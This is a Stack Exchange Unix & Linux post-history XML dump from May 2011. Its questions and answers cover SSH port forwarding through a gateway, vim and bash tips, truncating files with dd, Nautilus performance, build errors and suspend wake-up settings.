  <row Id="34714" PostHistoryTypeId="1" PostId="13894" RevisionGUID="e2fb7b57-2d6c-4c0c-ad48-e3d1856e7702" CreationDate="2011-05-26T19:33:51.440" UserDisplayName="Alex" Text="Gifsicle on CentOS? x86_64" />
  <row Id="34715" PostHistoryTypeId="3" PostId="13894" RevisionGUID="e2fb7b57-2d6c-4c0c-ad48-e3d1856e7702" CreationDate="2011-05-26T19:33:51.440" UserDisplayName="Alex" Text="élinuxàéx86àédebianàécentosà" />
  <row Id="34719" PostHistoryTypeId="2" PostId="13896" RevisionGUID="fe74b32f-7e4a-4dc0-b403-c4d446d4cba3" CreationDate="2011-05-27T11:56:37.950" UserId="4799" Text="My home computer is behind an ISP-level NAT (and firewall).&#xD;&#xA;&#xD;&#xA;The target computer is work computer behind gateway. You have to log to gateway computer first via SSH (as it is the only one visible and with access from Internet).  The SSH daemon on this gateway is configured to allow only 'keyboard-interactive' logins (i.e. no password-less public-key logging).  Then you log to target computer using public-key based logging (only).&#xD;&#xA;&#xD;&#xA;How to set up SSH tunnels (I would probably need two of them: forward and reverse), so that after setting those up I can login from my home computer directly to host computer, and vice-versa, both without providing password.&#xD;&#xA;&#xD;&#xA;I'd like to be able to, for example, synchronize my private git repositories (pushing from home to target, and fetching from target to home).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&lt;sup&gt;Note that this is more involved setup that the one described in question [How can I forward traffic from my publicly available server to a computer that is not publicly available?][1]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;[1]: http://unix.stackexchange.com/questions/7710/how-can-i-forward-traffic-from-my-publicly-available-server-to-a-computer-that-is" />
  <row Id="34720" PostHistoryTypeId="1" PostId="13896" RevisionGUID="fe74b32f-7e4a-4dc0-b403-c4d446d4cba3" CreationDate="2011-05-27T11:56:37.950" UserId="4799" Text="Set up password-less SSH tunneling from home computer behind NAT to inside computer behind gateway" />
  <row Id="34721" PostHistoryTypeId="3" PostId="13896" RevisionGUID="fe74b32f-7e4a-4dc0-b403-c4d446d4cba3" CreationDate="2011-05-27T11:56:37.950" UserId="4799" Text="ésshàésshötunnelingàéportöforwardingà" />
  <row Id="34722" PostHistoryTypeId="2" PostId="13897" RevisionGUID="16996c8d-1093-4c26-8e78-20e89ac35b05" CreationDate="2011-05-27T12:06:11.727" UserId="7760" Text="You're looking for something like this, I believe:&#xD;&#xA;&#xD;&#xA;(Let's call the first server 'gateway1', and the second server 'gitrepo1')&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;ssh -L 8022:gitrepo1:22 gateway1&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Then, with your private key locally on your home computer, you should be able to do the following to get to your git repo server:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;ssh -i /path/to/your/key localhost -p 8022&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I'm a little concerned that I'm missing something as I don't see a need for more than one tunnel in this situation." />
  <row Id="34723" PostHistoryTypeId="25" PostId="13879" RevisionGUID="98a815ba-936b-4d93-bac9-b8899b468f21" CreationDate="2011-05-27T12:13:12.150" Comment="http://twitter.com/#!/StackUnix/status/74085741235404801" />
  <row Id="34724" PostHistoryTypeId="2" PostId="13898" RevisionGUID="ed663e83-3b63-4796-8fc1-6be25744789d" CreationDate="2011-05-27T12:16:14.697" UserId="7834" Text="It's been a while since ive done mailservers, but on Etch I remember Postfix being easier to configure than Exim." />
  <row Id="34725" PostHistoryTypeId="2" PostId="13899" RevisionGUID="a03915a5-9a03-48c4-aea0-785f6b1dcff9" CreationDate="2011-05-27T12:33:24.207" UserId="7835" Text="Here is the Tutorial:&#xD;&#xA;**[Installing VMWare Tools on Fedora][1]**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://install-climber.blogspot.com/2011/05/installing-vmware-tools-on-fedora.html" />
  <row Id="34726" PostHistoryTypeId="2" PostId="13900" RevisionGUID="2da5d68d-51e8-44db-b0f1-a04da59aa0a3" CreationDate="2011-05-27T12:54:30.883" UserId="591" Text="Adam's answer pointed me in the right direction in that it is related to whitespace. More specifically the `\n` between the two lines is interpreted as whitespace and is converted to a single ` `, when using `$Result` but is left as `\n` when using `&quot;$Result&quot;`.&#xD;&#xA;&#xD;&#xA;I'd never really considered '\n' to be whitespace before.  &#xD;&#xA;" />
  <row Id="34727" PostHistoryTypeId="2" PostId="13901" RevisionGUID="02e2d797-105c-40a6-9714-e0b32c958d71" CreationDate="2011-05-27T13:26:41.063" UserId="7707" Text="Yum has a feature called 'groupinstall' that will help you here.  What you can do is perform the minimal install, and then after booting to the console perform the actions described on this page:&#xD;&#xA;&#xD;&#xA;http://docs.fedoraproject.org/en-US/Fedora/15/html/Installation_Guide/sn-switching-to-gui-login.html&#xD;&#xA;&#xD;&#xA;The short story is that you'll be installing the &quot;X Window System&quot; and &quot;GNOME Desktop Environment&quot; groups of packages via `yum groupinstall`." />
  <row Id="34728" PostHistoryTypeId="5" PostId="13901" RevisionGUID="e1654153-1227-41ec-bf25-411076634caa" CreationDate="2011-05-27T13:34:50.997" UserId="7707" Comment="added 542 characters in body" Text="Yum has a feature called 'groupinstall' that will help you here.  What you can do is perform the minimal install, and then after booting to the console perform the actions described on this page:&#xD;&#xA;&#xD;&#xA;http://docs.fedoraproject.org/en-US/Fedora/15/html/Installation_Guide/sn-switching-to-gui-login.html&#xD;&#xA;&#xD;&#xA;The short story is that you'll be installing the &quot;X Window System&quot; and &quot;GNOME Desktop Environment&quot; groups of packages via `yum groupinstall`.&#xD;&#xA;&#xD;&#xA;The instructions on that page also walk you through changing the &quot;default run level&quot; from 3 to 5, this will make your system boot in to a graphical system rather than to the console.  However, I noticed a small problem with those instructions.  They walk you through the process of editing the text file by using `vi`, however they don't specify that you need to hit `Esc` to switch from insert mode to command mode.  You can follow the instructions on that page, but be sure to hit the `Esc` key before doing what is described in step 6." />
  <row Id="34730" PostHistoryTypeId="2" PostId="13903" RevisionGUID="23f1d888-2fd8-46a4-ba84-38f2869cefdc" CreationDate="2011-05-27T14:24:08.593" UserId="7819" Text="&quot;Minimal&quot; Does not install X window / Gnome.&#xD;&#xA;Dont select Minimal then. But you can go ahead with Customize now.&#xD;&#xA;From the custom settings you can check off several Gnome applications that you wont be using." />
  <row Id="34731" PostHistoryTypeId="2" PostId="13904" RevisionGUID="6e1e9301-8354-4e55-a4a7-a4b78f546e60" CreationDate="2011-05-27T14:42:54.707" UserId="1594" Text="Accidentally I managed to copy-paste a paragraph in vim a zillion times.&#xD;&#xA;How do I select and then delete the text from my current position to the end of file?&#xD;&#xA;&#xD;&#xA;In Windows, this would be Ctrl-Shift-End, followed by Delete." />
  <row Id="34732" PostHistoryTypeId="1" PostId="13904" RevisionGUID="6e1e9301-8354-4e55-a4a7-a4b78f546e60" CreationDate="2011-05-27T14:42:54.707" UserId="1594" Text="How to select/delete until end of file in vim/gvim?" />
  <row Id="34733" PostHistoryTypeId="3" PostId="13904" RevisionGUID="6e1e9301-8354-4e55-a4a7-a4b78f546e60" CreationDate="2011-05-27T14:42:54.707" UserId="1594" Text="évimà" />
  <row Id="34734" PostHistoryTypeId="2" PostId="13905" RevisionGUID="c3cbed09-18e4-47cc-9fae-3fe1cbca66f3" CreationDate="2011-05-27T14:44:00.073" UserId="2664" Text="    vGx&#xD;&#xA;&#xD;&#xA;Enter visual mode, go to end of file, delete.&#xD;&#xA;&#xD;&#xA;Alternatively, you can do:&#xD;&#xA;&#xD;&#xA;    vggx&#xD;&#xA;&#xD;&#xA;To delete from the current position to the beginning of the file." />
  <row Id="34735" PostHistoryTypeId="2" PostId="13906" RevisionGUID="d1ff7ce0-2f31-4fcb-a7c6-14189344b42f" CreationDate="2011-05-27T14:45:42.273" UserId="73" Text="&lt;kbd&gt;d&lt;/kbd&gt; is delete and &lt;kbd&gt;G&lt;/kbd&gt; moves to the end of the file, so &lt;kbd&gt;dG&lt;/kbd&gt; will delete to the end of the file. It includes the entire current line though; if you're mid-line and want to preserve everything before the current position you need to use [Mark's method](http://unix.stackexchange.com/questions/13904/how-to-select-delete-until-end-of-file-in-vim-gvim/13905#13905)" />
  <row Id="34736" PostHistoryTypeId="12" PostId="13906" RevisionGUID="71685bed-bd5f-4f2a-8933-8ab62d5a03ee" CreationDate="2011-05-27T14:46:22.180" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="34737" PostHistoryTypeId="13" PostId="13906" RevisionGUID="11facc35-e32a-43b8-9e10-5639b5c4dc4c" CreationDate="2011-05-27T14:48:14.380" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="34738" PostHistoryTypeId="2" PostId="13907" RevisionGUID="ea789a27-be56-4396-bdd8-25ccfafd42d5" CreationDate="2011-05-27T15:00:13.807" UserId="7799" Text="I've got an extreme problem, and all of the solutions I can imagine are complicated. According to my UNIX/Linux experience there **must** be an easy way.&#xD;&#xA;&#xD;&#xA;I want to delete the first 31 bytes of each file in `/foo/`. Each file is long enough. Well, I'm sure somebody will deliver me a suprisingly easy solution I just can't imagine. Maybe awk?" />
  <row Id="34739" PostHistoryTypeId="1" PostId="13907" RevisionGUID="ea789a27-be56-4396-bdd8-25ccfafd42d5" CreationDate="2011-05-27T15:00:13.807" UserId="7799" Text="Delete the first n bytes of files" />
  <row Id="34740" PostHistoryTypeId="3" PostId="13907" RevisionGUID="ea789a27-be56-4396-bdd8-25ccfafd42d5" CreationDate="2011-05-27T15:00:13.807" UserId="7799" Text="éfilesàésedàéawkà" />
  <row Id="34741" PostHistoryTypeId="2" PostId="13908" RevisionGUID="7710d2ad-4bfc-4fd7-83f6-4d91074fa1d7" CreationDate="2011-05-27T15:02:49.173" UserId="4859" Text="Followed this tutorial http://unix.stackexchange.com/questions/5543/how-to-install-iceweasel-4-on-debian in attempt to install iceweasel 4 on my debian 6 &quot;Squeeze&quot; machine.  &#xD;&#xA;After installation it seems that I can only open the first instance of iceweasel from Applications/Internet, but not from commmand line.  &#xD;&#xA;Trying to open it from command line results in this error:&#xD;&#xA;&#xD;&#xA;    /usr/lib/iceweasel/firefox-bin: symbol lookup error: /usr/lib/libcairo.so.2: undefined symbol: FT_Library_SetLcdFilter&#xD;&#xA;&#xD;&#xA;If iceweasel instance is already running I am able to open a new instance of iceweasel from command line without any errors.&#xD;&#xA;&#xD;&#xA;Edit: I am using Gnome window manager in this setup&#xD;&#xA;&#xD;&#xA;Any ideas? " />
  <row Id="34742" PostHistoryTypeId="1" PostId="13908" RevisionGUID="7710d2ad-4bfc-4fd7-83f6-4d91074fa1d7" CreationDate="2011-05-27T15:02:49.173" UserId="4859" Text="Debian Iceweasel 4 problems running from command line" />
  <row Id="34743" PostHistoryTypeId="3" PostId="13908" RevisionGUID="7710d2ad-4bfc-4fd7-83f6-4d91074fa1d7" CreationDate="2011-05-27T15:02:49.173" UserId="4859" Text="édebianàéiceweaselà" />
  <row Id="34744" PostHistoryTypeId="25" PostId="13904" RevisionGUID="25c28751-3e36-47b0-8d71-825497e29fa4" CreationDate="2011-05-27T15:13:12.343" Comment="http://twitter.com/#!/StackUnix/status/74131039836061696" />
  <row Id="34745" PostHistoryTypeId="2" PostId="13909" RevisionGUID="5565b526-6483-42c3-b9c3-22d15b0c7346" CreationDate="2011-05-27T15:19:58.513" UserId="1946" Text="The following commands cut first 31 bytes from `$file` (using `$file~` as a temp. copy):&#xD;&#xA;&#xD;&#xA;    dd if=&quot;$file&quot; of=&quot;$file~&quot; bs=1 skip=31&#xD;&#xA;    mv &quot;$file~&quot; &quot;$file&quot;&#xD;&#xA;&#xD;&#xA;You only need to list or `find` all files under `/foo/` and execute the two above for every `$file` found." />
  <row Id="34746" PostHistoryTypeId="2" PostId="13910" RevisionGUID="6ec1a5fd-b4df-4be2-a203-f5095f02e74f" CreationDate="2011-05-27T15:20:01.393" UserId="2594" Text="This should work if you file names have no embedded spaces:&#xD;&#xA;&#xD;&#xA;    for file in /foo/*&#xD;&#xA;    do&#xD;&#xA;      if [ -f $file ]&#xD;&#xA;      then&#xD;&#xA;        dd if=$file of=$file.truncated bs=31 skip=1 &amp;&amp; mv $file.truncated $file&#xD;&#xA;      fi&#xD;&#xA;    done" />
  <row Id="34747" PostHistoryTypeId="2" PostId="13911" RevisionGUID="3ac019c1-f275-41b5-87e8-453915cd8424" CreationDate="2011-05-27T15:33:00.580" UserId="7838" Text="If you want to manually manage a package (as opposed to creating a custom ebuild in your own overlay, which is to be preferred) that is required by others, what you can do is to uninstall that package and then put it in `/etc/portage/package.provided`. That way portage will &quot;know&quot; it's there and dependencies will work with it. In general though it's much easier to either have a custom ebuild or for small changes use [`/etc/portage/env/...`][1]. That way you can have portage work for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.gentoo.org/~zmedico/portage/doc/ch01.html" />
  <row Id="34748" PostHistoryTypeId="2" PostId="13912" RevisionGUID="f514f3cc-40c7-4aa9-ad91-726aee0ff6ac" CreationDate="2011-05-27T15:37:33.293" UserId="7838" Text="What you might try (I'm not sure if it works as expected) is to use [`/etc/portage/env`][1] to set the SLOT of particular package versions. It might not work because of metadata caching though. Even if it does work this is a cludge and may result in unexpected behaviour. As always, if it breaks, you get to keep the pieces.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.gentoo.org/~zmedico/portage/doc/ch01.html" />
  <row Id="34749" PostHistoryTypeId="2" PostId="13913" RevisionGUID="051579c6-8185-4e05-84bd-21a112f97a3d" CreationDate="2011-05-27T15:44:54.007" UserId="6789" Text="I don't know how but Nautilus has become painfully slow in my Ubuntu 10.10 box. Every time I log in it takes ~ 100% of my CPU for about a minute. Once I open a folder it could take up to 15 seconds to show its content (even in folders with only a few files). This is specially annoying when I have opened more than one tab.&#xD;&#xA;&#xD;&#xA;I've tried several tricks and none of them works. If I type in the terminal&#xD;&#xA;&#xD;&#xA;    rm -r ~/.local/share/gvfs-metadata&#xD;&#xA;it seems to aleviate the situation for a little while, but a couple minutes later it goes back to «normal».&#xD;&#xA;&#xD;&#xA;I have tried to purge nautilus (so I can perform a fresh install later) with&#xD;&#xA;&#xD;&#xA;    sudo apt-get purge nautilus&#xD;&#xA;but it turns out to have many dependencies that will broke if I continue.&#xD;&#xA;&#xD;&#xA;Any help?" />
  <row Id="34750" PostHistoryTypeId="1" PostId="13913" RevisionGUID="051579c6-8185-4e05-84bd-21a112f97a3d" CreationDate="2011-05-27T15:44:54.007" UserId="6789" Text="Nautilus has become slow" />
  <row Id="34751" PostHistoryTypeId="3" PostId="13913" RevisionGUID="051579c6-8185-4e05-84bd-21a112f97a3d" CreationDate="2011-05-27T15:44:54.007" UserId="6789" Text="éubuntuàéperformanceàénautilusà" />
  <row Id="34752" PostHistoryTypeId="2" PostId="13914" RevisionGUID="f7f661be-3313-48a0-a598-e798c4d18158" CreationDate="2011-05-27T15:50:35.097" UserId="7838" Text="Unless something changed in later versions of 3.5, kde 3 does not support the new udev approach to device notifications. Kde 3.5 is a legacy environment, and when it was actively being developed the solution for device notifications was hal. " />
  <row Id="34753" PostHistoryTypeId="2" PostId="13915" RevisionGUID="d9359114-0252-4aaf-be74-d296e97c7ba3" CreationDate="2011-05-27T15:53:12.163" UserId="7838" Text="Gentoo does device based services. There is a setting in if I `/etc/conf.d/rc` that allows you to override this. What you probably want to do is to use networkmanager which works nicely with laptops and their changing connectivity. There are some gentoo networkmanager manuals available just a google search away." />
  <row Id="34754" PostHistoryTypeId="2" PostId="13916" RevisionGUID="9dfb5686-f609-4d4b-8c1b-b2e962f09412" CreationDate="2011-05-27T15:57:57.293" UserId="1594" Text="How can I make pressing up/down on bash bring up the last command that started with the prefix I already entered?&#xD;&#xA;&#xD;&#xA;E.g.&#xD;&#xA;&#xD;&#xA;    $ ls foo&#xD;&#xA;    $ echo hello&#xD;&#xA;    $ ls &lt;UP_ARROW&gt;&#xD;&#xA;&#xD;&#xA;Clicking UP after entering ls should bring up &quot;ls foo&quot; and not &quot;echo hello&quot;" />
  <row Id="34755" PostHistoryTypeId="1" PostId="13916" RevisionGUID="9dfb5686-f609-4d4b-8c1b-b2e962f09412" CreationDate="2011-05-27T15:57:57.293" UserId="1594" Text="How to make bash history prefix-sensitive?" />
  <row Id="34756" PostHistoryTypeId="3" PostId="13916" RevisionGUID="9dfb5686-f609-4d4b-8c1b-b2e962f09412" CreationDate="2011-05-27T15:57:57.293" UserId="1594" Text="ébashàécommandöhistoryà" />
  <row Id="34757" PostHistoryTypeId="5" PostId="13913" RevisionGUID="95e44fe8-08c6-4a11-94b9-d4fc4180db17" CreationDate="2011-05-27T16:20:22.743" UserId="6789" Comment="added 214 characters in body" Text="I don't know how but Nautilus has become painfully slow in my Ubuntu 10.10 box. Every time I log in it takes ~ 100% of my CPU for about a minute. Once I open a folder it could take up to 15 seconds to show its content (even in folders with only a few files). This is specially annoying when I have opened more than one tab.&#xD;&#xA;&#xD;&#xA;I've tried several tricks and none of them works. If I type in the terminal&#xD;&#xA;&#xD;&#xA;    rm -r ~/.local/share/gvfs-metadata&#xD;&#xA;it seems to aleviate the situation for a little while, but a couple minutes later it goes back to «normal».&#xD;&#xA;&#xD;&#xA;I have tried to purge nautilus (so I can perform a fresh install later) with&#xD;&#xA;&#xD;&#xA;    sudo apt-get purge nautilus&#xD;&#xA;but it turns out to have many dependencies that will broke if I continue.&#xD;&#xA;&#xD;&#xA;Any help?&#xD;&#xA;&#xD;&#xA;**Update:** I have purged nautilus (just reinstalled later the broken packages) and reinstalled it. Is the same old «normal» behavior :-(&#xD;&#xA;&#xD;&#xA;By the way, if I launch nautilus as root it works OK, without delays." />
  <row Id="34758" PostHistoryTypeId="2" PostId="13917" RevisionGUID="67330149-04a0-4bce-a970-f1db60aceb20" CreationDate="2011-05-27T16:21:38.340" UserId="5931" Text="Responding to the &quot;[a] way to tell that a monitor has been plugged in&quot; part of the question:&#xD;&#xA;&#xD;&#xA;The support still varies quite a bit, but with recent kernels there is some support for generating udev events when a display hotplug occurs. With kernel 2.6.38 and ATI X1400 hardware, I get an event the first time I connect a VGA display but no events on subsequent disconnects or reconnects of the display. [Intel hardware may have better support.](http://stackoverflow.com/questions/5469828/how-to-create-a-callback-for-monitor-plugged-on-an-intel-graphics) The NVIDIA proprietary driver does not currently support KMS; I haven't tried looking for hotplug events on NVIDIA hardware, but I'm doubtful it would work.&#xD;&#xA;&#xD;&#xA;If you want to experiment with udev you could try the following steps:&#xD;&#xA;&#xD;&#xA;* update to the newest kernel&#xD;&#xA;* make sure that kernel mode setting (KMS) is enabled. If enabled, it should be reported in your kernel output. Mine says `[drm] radeon kernel modesetting enabled` and `[drm] initializing kernel modesetting`&#xD;&#xA;* run `udevadm monitor --property` and see if events are reported when you (dis-)connect displays&#xD;&#xA;&#xD;&#xA;If you are getting udev events on display hotplug, you can trigger a script with a udev rule like:&#xD;&#xA;&#xD;&#xA;    ACTION==&quot;change&quot;, SUBSYSTEM==&quot;drm&quot;, HOTPLUG==&quot;1&quot;, RUN+=&quot;/path/to/hotplug.sh&quot;" />
  <row Id="34760" PostHistoryTypeId="2" PostId="13918" RevisionGUID="1b645419-c7b6-4e78-ad54-4fc6690bafdd" CreationDate="2011-05-27T16:57:06.367" UserId="5931" Text="A few possibilities:&#xD;&#xA;&#xD;&#xA;1. Bind the `history-search-backward` command to the up arrow: `bind '&quot;\e[A&quot;:history-search-backward'`. I believe this is closest to what you want.&#xD;&#xA;&#xD;&#xA;2. Use the history i-search. This is probably bound to `^R`. On an empty line, `^Rls&lt;space&gt;` will get you back to `ls foo`, then `^R` again will take you to the last `ls` command (or other command with `ls` somewhere in the line) before `ls foo`, etc...&#xD;&#xA;&#xD;&#xA;3. Bind the `magic-space` command: `bind SPACE:magic-space`. Then type (on an empty line) `!ls&lt;space&gt;`, and readline will perform history substitution automatically, leaving you with `ls foo`." />
  <row Id="34761" PostHistoryTypeId="2" PostId="13919" RevisionGUID="77903a97-363d-4b4f-a716-8fad0cd15ac9" CreationDate="2011-05-27T17:09:40.613" UserId="3707" Text="I am trying to install the linux_monitor package under Centos 5.5. When I try make I get: &#xD;&#xA;&#xD;&#xA;    make[3]: Entering directory `/tmp/linux_monitor-2.0RC3/src/server'&#xD;&#xA;    if gcc -DHAVE_CONFIG_H -I. -I. -I../../src   -I/usr/include/openssl  -g -O2 -Wall -MT linux_mond.o -MD -MP -MF &quot;.deps/linux_mond.Tpo&quot; \&#xD;&#xA;    	  -c -o linux_mond.o `test -f 'linux_mond.c' || echo './'`linux_mond.c; \&#xD;&#xA;    	then mv -f &quot;.deps/linux_mond.Tpo&quot; &quot;.deps/linux_mond.Po&quot;; \&#xD;&#xA;    	else rm -f &quot;.deps/linux_mond.Tpo&quot;; exit 1; \&#xD;&#xA;    	fi&#xD;&#xA;    In file included from linux_mond.c:23:&#xD;&#xA;    linux_mond.h:40:18: error: glib.h: No such file or directory&#xD;&#xA;    linux_mond.c: In function ‘server’:&#xD;&#xA;    linux_mond.c:155: warning: pointer targets in passing argument 3 of ‘accept’ differ in signedness&#xD;&#xA;    linux_mond.c: In function ‘client’:&#xD;&#xA;    linux_mond.c:334: warning: pointer targets in passing argument 1 of ‘strlen’ differ in signedness&#xD;&#xA;&#xD;&#xA;I understand it is not finding glib.h, right? I know it is present at /usr/include/glib-1.2/, but I tried several configure flags and looked at the different files and can't find how to let know to configure where that library is." />
  <row Id="34762" PostHistoryTypeId="1" PostId="13919" RevisionGUID="77903a97-363d-4b4f-a716-8fad0cd15ac9" CreationDate="2011-05-27T17:09:40.613" UserId="3707" Text="mon linux monitor install on centos - can't find glib.h although present" />
  <row Id="34763" PostHistoryTypeId="3" PostId="13919" RevisionGUID="77903a97-363d-4b4f-a716-8fad0cd15ac9" CreationDate="2011-05-27T17:09:40.613" UserId="3707" Text="écentosàésoftwareöinstallationàélibrariesà" />
  <row Id="34764" PostHistoryTypeId="2" PostId="13920" RevisionGUID="5f3dc442-1119-48dc-bd0d-4b31cc632643" CreationDate="2011-05-27T17:15:45.993" UserId="311" Text="I do this because I use NetworkManager to handle my connections, and I wanted to stop Gentoo from always trying and failing to get an IP through DHCP for my almost-always-unconnected `eth0`.&#xD;&#xA;&#xD;&#xA;The following setting in `/etc/rc.conf/`:&#xD;&#xA;&#xD;&#xA;    rc_hotplug=&quot;!net.*&quot;&#xD;&#xA;&#xD;&#xA;stops Gentoo from trying to automagically start any of the `net.` services, but you can still manually add them to runlevels or directly call the `/etc/init.d/` scripts for them." />
  <row Id="34765" PostHistoryTypeId="2" PostId="13921" RevisionGUID="2d442618-4ab9-47c7-bd92-70091ad6a87e" CreationDate="2011-05-27T17:27:44.433" UserId="6960" Text="I have installed the windows version of Firefox with http://wiki.winehq.org/winetricks under Fedora, hurrah!&#xD;&#xA;&#xD;&#xA;I heard that there is an Esker ActiveX Plug-in for Firefox, but I can't find it. I need it for visiting a website that uses Active X and by default it's only working under IE6.. :D (but it works perfectly under windows if the Firefox has the IE TAB plug-in installed.)&#xD;&#xA;&#xD;&#xA;Can someone help me where is the offical Esker ActiveX Plug-in for Firefox?&#xD;&#xA;&#xD;&#xA;It woud be a great help to have activex under Fedora... :\ thanks!" />
  <row Id="34766" PostHistoryTypeId="1" PostId="13921" RevisionGUID="2d442618-4ab9-47c7-bd92-70091ad6a87e" CreationDate="2011-05-27T17:27:44.433" UserId="6960" Text="Esker ActiveX Plug-in for Firefox under Linux?" />
  <row Id="34767" PostHistoryTypeId="3" PostId="13921" RevisionGUID="2d442618-4ab9-47c7-bd92-70091ad6a87e" CreationDate="2011-05-27T17:27:44.433" UserId="6960" Text="élinuxà" />
  <row Id="34768" PostHistoryTypeId="2" PostId="13922" RevisionGUID="26bce712-7794-4a6c-8f47-643715f24494" CreationDate="2011-05-27T17:46:19.933" UserId="7574" Text="The only way I can wake up my laptop (HP elitebook 8460p) from suspend is by pressing the power button. Neither the built-in keyboard/mouse nor the external ones (connected via usb) wake the laptop up.&#xD;&#xA;&#xD;&#xA;Things I already tried:&#xD;&#xA;&#xD;&#xA;  * enabling the USB devices in /proc/acpi/wakeup&#xD;&#xA;  * checking the bootlog to find out the /dev paths of the usb mouse/keyboard, then _udevadm info -a -p $(udevadm info -q path -n /dev/input/mouse2)_. I then checked for every device in the list using _cat /sys/devices/.../power/wakeup_ if it is possible to enable it, and if so, I do that. &#xD;&#xA;  * I, of course, enabled wake on usb in the bios. &#xD;&#xA;&#xD;&#xA;Here some outputs you might need:&#xD;&#xA;&#xD;&#xA;$ uname -a&#xD;&#xA;&#xD;&#xA;    Linux oliarch 2.6.38-ARCH #1 SMP PREEMPT Tue May 10 08:05:04 CEST 2011 x86_64 Intel(R) Core(TM) i5-2540M CPU @ 2.60GHz GenuineIntel GNU/Linux&#xD;&#xA;&#xD;&#xA;\# lsusb&#xD;&#xA;&#xD;&#xA;    Bus 001 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub&#xD;&#xA;    Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub&#xD;&#xA;    Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub&#xD;&#xA;    Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub&#xD;&#xA;    Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub&#xD;&#xA;    Bus 003 Device 003: ID 046d:c52b Logitech, Inc. Unifying Receiver&#xD;&#xA;    Bus 003 Device 004: ID 04f2:b230 Chicony Electronics Co., Ltd &#xD;&#xA;    Bus 003 Device 005: ID 03f0:231d Hewlett-Packard&#xD;&#xA;&#xD;&#xA;\# lspci&#xD;&#xA;&#xD;&#xA;    00:00.0 Host bridge: Intel Corporation 2nd Generation Core Processor Family DRAM Controller (rev 09)&#xD;&#xA;    00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09)&#xD;&#xA;    00:16.0 Communication controller: Intel Corporation 6 Series Chipset Family MEI Controller #1 (rev 04)&#xD;&#xA;    00:16.3 Serial controller: Intel Corporation 6 Series Chipset Family KT Controller (rev 04)&#xD;&#xA;    00:19.0 Ethernet controller: Intel Corporation 82579LM Gigabit Network Connection (rev 04)&#xD;&#xA;    00:1a.0 USB Controller: Intel Corporation 6 Series Chipset Family USB Enhanced Host Controller #2 (rev 04)&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 6 Series Chipset Family High Definition Audio Controller (rev 04)&#xD;&#xA;    00:1c.0 PCI bridge: Intel Corporation 6 Series Chipset Family PCI Express Root Port 1 (rev b4)&#xD;&#xA;    00:1c.1 PCI bridge: Intel Corporation 6 Series Chipset Family PCI Express Root Port 2 (rev b4)&#xD;&#xA;    00:1c.2 PCI bridge: Intel Corporation 6 Series Chipset Family PCI Express Root Port 3 (rev b4)&#xD;&#xA;    00:1c.3 PCI bridge: Intel Corporation 6 Series Chipset Family PCI Express Root Port 4 (rev b4)&#xD;&#xA;    00:1c.7 PCI bridge: Intel Corporation 6 Series Chipset Family PCI Express Root Port 8 (rev b4)&#xD;&#xA;    00:1d.0 USB Controller: Intel Corporation 6 Series Chipset Family USB Enhanced Host Controller #1 (rev 04)&#xD;&#xA;    00:1f.0 ISA bridge: Intel Corporation 6 Series Chipset Family LPC Controller (rev 04)&#xD;&#xA;    00:1f.2 SATA controller: Intel Corporation 6 Series Chipset Family 6 port SATA AHCI Controller (rev 04)&#xD;&#xA;    23:00.0 FireWire (IEEE 1394): JMicron Technology Corp. IEEE 1394 Host Controller (rev 30)&#xD;&#xA;    23:00.1 System peripheral: JMicron Technology Corp. SD/MMC Host Controller (rev 30)&#xD;&#xA;    23:00.2 SD Host controller: JMicron Technology Corp. Standard SD Host Controller (rev 30)&#xD;&#xA;    24:00.0 Network controller: Intel Corporation Centrino Advanced-N 6205 (rev 34)&#xD;&#xA;    25:00.0 USB Controller: NEC Corporation uPD720200 USB 3.0 Host Controller (rev 04)&#xD;&#xA;&#xD;&#xA;\# cat /proc/acpi/wakeup&#xD;&#xA;&#xD;&#xA;    Device	S-state	  Status   Sysfs node&#xD;&#xA;    LANC	  S0	*enabled   pci:0000:00:19.0&#xD;&#xA;    EHC1	  S3	*enabled   pci:0000:00:1d.0&#xD;&#xA;    EHC2	  S3	*enabled   pci:0000:00:1a.0&#xD;&#xA;    PCIB	  S5	*disabled  &#xD;&#xA;    RP02	  S4	*disabled  pci:0000:00:1c.1&#xD;&#xA;    ECF0	  S4	*disabled  &#xD;&#xA;    RP03	  S4	*disabled  pci:0000:00:1c.2&#xD;&#xA;    RP04	  S5	*disabled  pci:0000:00:1c.3&#xD;&#xA;    WNIC	  S5	*disabled  pci:0000:24:00.0&#xD;&#xA;    RP08	  S4	*disabled  pci:0000:00:1c.7&#xD;&#xA;    HST1	  S5	*disabled  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="34769" PostHistoryTypeId="1" PostId="13922" RevisionGUID="26bce712-7794-4a6c-8f47-643715f24494" CreationDate="2011-05-27T17:46:19.933" UserId="7574" Text="Make laptop to wake up by keyboard and mouse" />
  <row Id="34770" PostHistoryTypeId="3" PostId="13922" RevisionGUID="26bce712-7794-4a6c-8f47-643715f24494" CreationDate="2011-05-27T17:46:19.933" UserId="7574" Text="éusbàélaptopàésuspendà" />
  <row Id="34771" PostHistoryTypeId="25" PostId="13907" RevisionGUID="445d4649-be51-4b12-b474-85f5b88121a5" CreationDate="2011-05-27T18:13:11.750" Comment="http://twitter.com/#!/StackUnix/status/74176337098715136" />
